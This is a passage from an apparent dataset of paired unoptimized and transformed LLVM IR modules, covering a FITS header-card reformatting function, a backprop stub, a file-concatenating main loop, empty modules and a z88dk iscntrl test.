br i1 %30, label %31, label %43
31: ; preds = %25
%32 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%33 = load i32, ptr %8, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, ptr %32, i64 %34
%36 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%37 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %35, ptr noundef @.str.4, ptr noundef %36)
%38 = load ptr, ptr %3, align 8
%39 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%40 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%41 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%42 = call i32 @imc_fits_mkstrg(ptr noundef %38, ptr noundef %39, ptr noundef %40, ptr noundef %41)
store i32 1, ptr %2, align 4
br label %89
43: ; preds = %25
%44 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%45 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%46 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%47 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %44, ptr noundef @.str.5, ptr noundef %45, ptr noundef %46, ptr noundef %8)
%48 = icmp eq i32 %47, 2
br i1 %48, label %49, label %60
49: ; preds = %43
%50 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%51 = load i32, ptr %8, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i8, ptr %50, i64 %52
%54 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%55 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %53, ptr noundef @.str.4, ptr noundef %54)
%56 = load ptr, ptr %3, align 8
%57 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%58 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%59 = call i32 @imc_fits_mkstrg(ptr noundef %56, ptr noundef %57, ptr noundef @.str.6, ptr noundef %58)
store i32 1, ptr %2, align 4
br label %89
60: ; preds = %43
%61 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%62 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%63 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%64 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %61, ptr noundef @.str.7, ptr noundef %62, ptr noundef %63, ptr noundef %8)
%65 = icmp eq i32 %64, 2
br i1 %65, label %66, label %78
66: ; preds = %60
%67 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%68 = load i32, ptr %8, align 4
%69 = sext i32 %68 to i64
%70 = getelementptr inbounds i8, ptr %67, i64 %69
%71 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%72 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %70, ptr noundef @.str.4, ptr noundef %71)
%73 = load ptr, ptr %3, align 8
%74 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%75 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%76 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%77 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef %73, ptr noundef @.str.8, ptr noundef %74, ptr noundef %75, ptr noundef %76)
store i32 2, ptr %2, align 4
br label %89
78: ; preds = %60
%79 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%80 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%81 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%82 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%83 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %79, ptr noundef @.str.9, ptr noundef %80, ptr noundef %81, ptr noundef %82)
%84 = load ptr, ptr %3, align 8
%85 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%86 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%87 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%88 = call i32 @imc_fits_mkstrg(ptr noundef %84, ptr noundef %85, ptr noundef %86, ptr noundef %87)
store i32 -1, ptr %2, align 4
br label %89
89: ; preds = %78, %66, %49, %31, %21
%90 = load i32, ptr %2, align 4
ret i32 %90
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i32 @strncpy(ptr noundef, ptr noundef, i32 noundef) #2
declare i64 @strncmp(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @sprintf(ptr noundef, ptr noundef, ptr noundef, ...) #2
declare i32 @sscanf(ptr noundef, ptr noundef, ptr noundef, ...) #2
declare i32 @imc_fits_mkstrg(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_f9f_k5y.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [9 x i8] c"COMMENT \00", align 1
@.str.1 = private unnamed_addr constant [9 x i8] c"HISTORY \00", align 1
@.str.2 = private unnamed_addr constant [9 x i8] c"%-80.80s\00", align 1
@.str.3 = private unnamed_addr constant [33 x i8] c"%[-A-Z0-9_ ]%*[=] %*[']%[^']%c%n\00", align 1
@.str.4 = private unnamed_addr constant [13 x i8] c"%*[ /]%[ -\7F]\00", align 1
@.str.5 = private unnamed_addr constant [25 x i8] c"%[-A-Z0-9_ ]%*[=] %[']%n\00", align 1
@.str.6 = private unnamed_addr constant [2 x i8] c" \00", align 1
@.str.7 = private unnamed_addr constant [31 x i8] c"%[-A-Z0-9_ ]%*[=] %[-+0-9.E]%n\00", align 1
@.str.8 = private unnamed_addr constant [27 x i8] c"%-8.8s= %20.20s / %-47.47s\00", align 1
@.str.9 = private unnamed_addr constant [36 x i8] c"%[-A-Z0-9_ ]%*[=] %[^/]%*[ /]%[ -\7F]\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @imh_reformat_fits(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca [9 x i8], align 1
%5 = alloca [81 x i8], align 16
%6 = alloca [50 x i8], align 16
%7 = alloca i8, align 1
%8 = alloca i32, align 4
%9 = alloca [162 x i8], align 16
store ptr %0, ptr %3, align 8
call void @llvm.memset.p0.i64(ptr align 1 %4, i8 0, i64 9, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %5, i8 0, i64 81, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %6, i8 0, i64 50, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %9, i8 0, i64 162, i1 false)
%10 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%11 = load ptr, ptr %3, align 8
%12 = call i32 @strncpy(ptr noundef %10, ptr noundef %11, i32 noundef 80)
%13 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 80
store i8 0, ptr %13, align 16
%14 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%15 = call i64 @strncmp(ptr noundef %14, ptr noundef @.str, i32 noundef 8)
%16 = icmp eq i64 %15, 0
br i1 %16, label %21, label %17
17: ; preds = %1
%18 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%19 = call i64 @strncmp(ptr noundef %18, ptr noundef @.str.1, i32 noundef 8)
%20 = icmp eq i64 %19, 0
br i1 %20, label %21, label %25
21: ; preds = %17, %1
%22 = load ptr, ptr %3, align 8
%23 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%24 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef %22, ptr noundef @.str.2, ptr noundef %23)
store i32 1, ptr %2, align 4
br label %89
25: ; preds = %17
%26 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%27 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%28 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%29 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %26, ptr noundef @.str.3, ptr noundef %27, ptr noundef %28, ptr noundef %7, ptr noundef %8)
%30 = icmp eq i32 %29, 3
br i1 %30, label %31, label %43
31: ; preds = %25
%32 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%33 = load i32, ptr %8, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, ptr %32, i64 %34
%36 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%37 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %35, ptr noundef @.str.4, ptr noundef %36)
%38 = load ptr, ptr %3, align 8
%39 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%40 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%41 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%42 = call i32 @imc_fits_mkstrg(ptr noundef %38, ptr noundef %39, ptr noundef %40, ptr noundef %41)
store i32 1, ptr %2, align 4
br label %89
43: ; preds = %25
%44 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%45 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%46 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%47 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %44, ptr noundef @.str.5, ptr noundef %45, ptr noundef %46, ptr noundef %8)
%48 = icmp eq i32 %47, 2
br i1 %48, label %49, label %60
49: ; preds = %43
%50 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%51 = load i32, ptr %8, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i8, ptr %50, i64 %52
%54 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%55 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %53, ptr noundef @.str.4, ptr noundef %54)
%56 = load ptr, ptr %3, align 8
%57 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%58 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%59 = call i32 @imc_fits_mkstrg(ptr noundef %56, ptr noundef %57, ptr noundef @.str.6, ptr noundef %58)
store i32 1, ptr %2, align 4
br label %89
60: ; preds = %43
%61 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%62 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%63 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%64 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %61, ptr noundef @.str.7, ptr noundef %62, ptr noundef %63, ptr noundef %8)
%65 = icmp eq i32 %64, 2
br i1 %65, label %66, label %78
66: ; preds = %60
%67 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%68 = load i32, ptr %8, align 4
%69 = sext i32 %68 to i64
%70 = getelementptr inbounds i8, ptr %67, i64 %69
%71 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%72 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %70, ptr noundef @.str.4, ptr noundef %71)
%73 = load ptr, ptr %3, align 8
%74 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%75 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%76 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%77 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef %73, ptr noundef @.str.8, ptr noundef %74, ptr noundef %75, ptr noundef %76)
store i32 2, ptr %2, align 4
br label %89
78: ; preds = %60
%79 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%80 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%81 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%82 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%83 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %79, ptr noundef @.str.9, ptr noundef %80, ptr noundef %81, ptr noundef %82)
%84 = load ptr, ptr %3, align 8
%85 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%86 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%87 = getelementptr inbounds [50 x i8], ptr %6, i64 0, i64 0
%88 = call i32 @imc_fits_mkstrg(ptr noundef %84, ptr noundef %85, ptr noundef %86, ptr noundef %87)
store i32 -1, ptr %2, align 4
br label %89
89: ; preds = %78, %66, %49, %31, %21
%90 = load i32, ptr %2, align 4
ret i32 %90
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i32 @strncpy(ptr noundef, ptr noundef, i32 noundef) #2
declare i64 @strncmp(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @sprintf(ptr noundef, ptr noundef, ptr noundef, ...) #2
declare i32 @sscanf(ptr noundef, ptr noundef, ptr noundef, ...) #2
declare i32 @imc_fits_mkstrg(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmtcwe4pe.c'
source_filename = "/tmp/tmpmtcwe4pe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @backprop(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @update_sensitivity(ptr noundef %3)
%5 = load ptr, ptr %2, align 8
%6 = call i32 @update_weights(ptr noundef %5)
ret void
}
declare i32 @update_sensitivity(ptr noundef) #1
declare i32 @update_weights(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmtcwe4pe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @backprop(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @update_sensitivity(ptr noundef %3)
%5 = load ptr, ptr %2, align 8
%6 = call i32 @update_weights(ptr noundef %5)
ret void
}
declare i32 @update_sensitivity(ptr noundef) #1
declare i32 @update_weights(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp1eispqe_.c'
source_filename = "/tmp/tmp1eispqe_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [29 x i8] c"Usage: %s <file> [file ...]\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%8 = load i32, ptr %4, align 4
%9 = icmp slt i32 %8, 2
br i1 %9, label %10, label %17
10: ; preds = %2
%11 = load i32, ptr @stderr, align 4
%12 = load ptr, ptr %5, align 8
%13 = getelementptr inbounds ptr, ptr %12, i64 0
%14 = load ptr, ptr %13, align 8
%15 = call ptr @basename(ptr noundef %14)
%16 = call i32 @fprintf(i32 noundef %11, ptr noundef @.str, ptr noundef %15)
store i32 1, ptr %3, align 4
br label %33
17: ; preds = %2
store i32 1, ptr %6, align 4
br label %18
18: ; preds = %29, %17
%19 = load i32, ptr %6, align 4
%20 = load i32, ptr %4, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %22, label %32
22: ; preds = %18
%23 = load ptr, ptr %5, align 8
%24 = load i32, ptr %6, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds ptr, ptr %23, i64 %25
%27 = load ptr, ptr %26, align 8
%28 = call i32 @cat_file(ptr noundef %27)
br label %29
29: ; preds = %22
%30 = load i32, ptr %6, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %6, align 4
br label %18, !llvm.loop !6
32: ; preds = %18
store i32 0, ptr %3, align 4
br label %33
33: ; preds = %32, %10
%34 = load i32, ptr %3, align 4
ret i32 %34
}
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1
declare ptr @basename(ptr noundef) #1
declare i32 @cat_file(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1eispqe_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [29 x i8] c"Usage: %s <file> [file ...]\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%8 = load i32, ptr %4, align 4
%9 = icmp slt i32 %8, 2
br i1 %9, label %10, label %17
10: ; preds = %2
%11 = load i32, ptr @stderr, align 4
%12 = load ptr, ptr %5, align 8
%13 = getelementptr inbounds ptr, ptr %12, i64 0
%14 = load ptr, ptr %13, align 8
%15 = call ptr @basename(ptr noundef %14)
%16 = call i32 @fprintf(i32 noundef %11, ptr noundef @.str, ptr noundef %15)
store i32 1, ptr %3, align 4
br label %35
17: ; preds = %2
store i32 1, ptr %6, align 4
%18 = load i32, ptr %6, align 4
%19 = load i32, ptr %4, align 4
%20 = icmp slt i32 %18, %19
br i1 %20, label %.lr.ph, label %34
.lr.ph: ; preds = %17
br label %21
21: ; preds = %.lr.ph, %28
%22 = load ptr, ptr %5, align 8
%23 = load i32, ptr %6, align 4
%24 = sext i32 %23 to i64
%25 = getelementptr inbounds ptr, ptr %22, i64 %24
%26 = load ptr, ptr %25, align 8
%27 = call i32 @cat_file(ptr noundef %26)
br label %28
28: ; preds = %21
%29 = load i32, ptr %6, align 4
%30 = add nsw i32 %29, 1
store i32 %30, ptr %6, align 4
%31 = load i32, ptr %6, align 4
%32 = load i32, ptr %4, align 4
%33 = icmp slt i32 %31, %32
br i1 %33, label %21, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %28
br label %34
34: ; preds = %._crit_edge, %17
store i32 0, ptr %3, align 4
br label %35
35: ; preds = %34, %10
%36 = load i32, ptr %3, align 4
ret i32 %36
}
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1
declare ptr @basename(ptr noundef) #1
declare i32 @cat_file(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpg25zaqr_.c'
source_filename = "/tmp/tmpg25zaqr_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpg25zaqr_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpq20y9j0l.c'
source_filename = "/tmp/tmpq20y9j0l.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EINVAL = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpq20y9j0l.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EINVAL = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmbhkuiis.c'
source_filename = "/tmp/tmpmbhkuiis.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_iscntrl.c\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"iscntrl should be 0 for 0x9e\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t_iscntrl_0x9e() #0 {
%1 = call i64 @iscntrl(i32 noundef 158)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 noundef %3, ptr noundef @.str, i32 noundef 795, ptr noundef @.str.1)
ret void
}
declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i64 @iscntrl(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmbhkuiis.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
